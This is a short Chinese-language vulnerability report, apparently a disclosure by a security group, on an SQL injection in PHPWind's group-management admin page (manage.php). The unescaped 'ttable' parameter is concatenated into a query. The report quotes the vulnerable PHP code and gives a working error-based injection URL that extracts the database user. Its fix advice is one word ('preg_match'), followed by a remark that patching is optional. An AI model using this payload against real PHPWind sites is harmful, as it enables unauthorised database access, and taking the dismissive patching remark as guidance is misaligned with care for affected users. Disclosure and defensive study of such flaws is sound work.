PHPWind 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统. 我们希望作为一个开源.共享的软件,PHPWind 可以以其 流畅的速度 与 高负载能力 激起各位加入PHPWind阵营的热情!共同打造专业品牌 PHPWind.Net

（manage.php）SQL注射漏洞利用，小bug而已 利用前提是得到群组管理员权限

详细说明：
/apps/group/admin/manage.php

 line 219

------------------------------------------

S::gp(array('ttable', 'ptable', 'page','cid','author','ckauthor','keyword','ktype','ttype','ckkeyword','postdate_s','postdate_e','orderby','sc','perpage','cname')); //ttable

        .....

        if ($ttype == '1') {

            $sqltab = 'pw_threads t';

            $pw_tmsgs = 'pw_tmsgs' . $ttable; //!

            $tpre = 'tm';

            $addpage .= "ttable=$ttable&";

        } else {

            $sqltab = GetPtable($ptable) . ' t';

            $addpage .= "ttype=2&ptable=$ptable&";

        }

          ......

        if ($keyword) {

            $addpage .= "keyword=$keyword&ktype=$ktype&ckkeyword=$ckkeyword&";

            if ($ckkeyword) {

                $k_sql = " = " . S::sqlEscape($keyword);

            } else {

                $k_sql = " LIKE " . S::sqlEscape('%'.$keyword.'%');

            }

            if ($ktype == 'subject') {

                $sql .= " AND t.subject" . $k_sql;

            } else {

                $ttype == '1' && $sqltab .= " LEFT JOIN $pw_tmsgs tm ON t.tid=tm.tid"; //$pw_tmsgs

                $sql .= " AND {$tpre}.content" . $k_sql;

            }

        }

----------------------------------------------
漏洞证明：
/admin.php?adminjob=apps&admintype=groups_manage&action=argument&keyword=1&ttable=/**/tm ON t.tid=tm.tid LEFT JOIN ak_argument a ON t.tid=a.tid LEFT JOIN ak_colonys c ON a.cyid=c.id WHERE (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),CONCAT(0x3a,(SELECT USER())))a from information_schema.tables group by a)b)%23

修复方案：
preg_match
也可不修补

Form：红科网安